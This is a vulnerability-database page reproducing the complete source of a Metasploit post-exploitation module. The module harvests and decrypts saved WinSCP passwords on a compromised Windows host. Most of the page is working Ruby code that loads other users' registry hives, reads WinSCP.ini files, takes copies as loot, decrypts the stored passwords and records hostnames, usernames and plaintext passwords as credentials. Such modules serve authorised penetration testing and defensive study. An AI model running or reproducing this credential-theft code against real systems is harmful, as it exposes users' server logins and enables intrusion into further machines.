Lucene search
+L

Windows Gather WinSCP Saved Password Extraction

🗓️ 01 Feb 2012 18:26:35Reported by theLightCosine <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 447 Views

Windows Gather WinSCP Saved Password Extraction. Extracts weakly encrypted saved passwords from WinSCP. Searches registry and WinSCP.ini for saved sessions. Cannot decrypt passwords if master password used

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::File
  include Rex::Parser::WinSCP

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather WinSCP Saved Password Extraction',
        'Description' => %q{
          This module extracts weakly encrypted saved passwords from
          WinSCP. It searches for saved sessions in the Windows Registry
          and the WinSCP.ini file. It cannot decrypt passwords if a master
          password is used.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'theLightCosine'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_net_resolve_host
            ]
          }
        }
      )
    )
  end

  def get_reg
    # Enumerate all the SID in HKEY_Users and see if any of them have WinSCP RegistryKeys.
    regexists = 0

    userhives = load_missing_hives
    userhives.each do |hive|
      next if hive['HKU'].nil?

      master_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security"
      masterpw = registry_getvaldata(master_key, 'UseMasterPassword')

      # No WinSCP Keys here
      next if masterpw.nil?

      regexists = 1
      if masterpw == 1
        # Master Password used to add AES256 encryption to stored password
        print_error("User #{hive['HKU']} is using a Master Password, cannot recover passwords")
        next

      else
        # Take a look at any saved sessions
        savedpwds = 0
        session_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions"
        saved_sessions = registry_enumkeys(session_key)
        next if saved_sessions.nil?

        saved_sessions.each do |saved_session|
          # Skip default settings entry
          next if saved_session == 'Default%20Settings'

          active_session = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{saved_session}"
          password = registry_getvaldata(active_session, 'Password')
          # There is no password saved for this session, so we skip it
          next if password.nil?

          savedpwds = 1
          portnum = registry_getvaldata(active_session, 'PortNumber')
          if portnum.nil?
            # If no explicit port number entry exists, it is set to default port of tcp22
            portnum = 22
          end

          encrypted_password = password
          user = registry_getvaldata(active_session, 'UserName') || ''
          fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || ''
          sname = parse_protocol(fsprotocol)
          host = registry_getvaldata(active_session, 'HostName') || ''

          plaintext = decrypt_password(encrypted_password, "#{user}#{host}")

          winscp_store_config({
            hostname: host,
            username: user,
            password: plaintext,
            portnumber: portnum,
            protocol: sname
          })
        end

        if savedpwds == 0
          print_status('No Saved Passwords found in the Session Registry Keys')
        end
      end
    end

    if regexists == 0
      print_status('No WinSCP Registry Keys found!')
    end
    unload_our_hives(userhives)
  end

  def run
    print_status('Looking for WinSCP.ini file storage...')

    # WinSCP is only x86...
    if sysinfo['Architecture'] == 'x86'
      prog_files_env = 'ProgramFiles'
    else
      prog_files_env = 'ProgramFiles(x86)'
    end
    env = get_envs('APPDATA', prog_files_env, 'USERNAME')

    if env['APPDATA'].nil?
      fail_with(Failure::Unknown, 'Target does not have environment variable APPDATA')
    elsif env[prog_files_env].nil?
      fail_with(Failure::Unknown, "Target does not have environment variable #{prog_files_env}")
    elsif env['USERNAME'].nil?
      fail_with(Failure::Unknown, 'Target does not have environment variable USERNAME')
    end

    user_dir = "#{env['APPDATA']}\\..\\.."
    user_dir << '\\..' if user_dir.include?('Users')

    users = dir(user_dir)
    users.each do |user|
      next if user == '.' || user == '..'

      app_data = "#{env['APPDATA'].gsub(env['USERNAME'], user)}\\WinSCP.ini"
      vprint_status("Looking for #{app_data}...")
      get_ini(app_data) if file?(app_data)
    end

    program_files = "#{env[prog_files_env]}\\WinSCP\\WinSCP.ini"

    get_ini(program_files) if file?(program_files)

    print_status('Looking for Registry storage...')
    get_reg
  end

  def get_ini(file_path)
    print_good("WinSCP.ini located at #{file_path}")
    file = read_file(file_path)
    stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path)
    print_good("WinSCP saved to loot: #{stored_path}")
    parse_ini(file).each do |res|
      winscp_store_config(res)
    end
  end

  def winscp_store_config(config)
    begin
      res = client.net.resolve.resolve_host(config[:hostname], AF_INET)
      ip = res[:ip] if res
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}")
    ensure
      print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}")
    end

    return unless ip

    service_data = {
      address: ip,
      port: config[:portnumber],
      service_name: config[:protocol],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      private_type: :password,
      private_data: config[:password],
      username: config[:username]
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation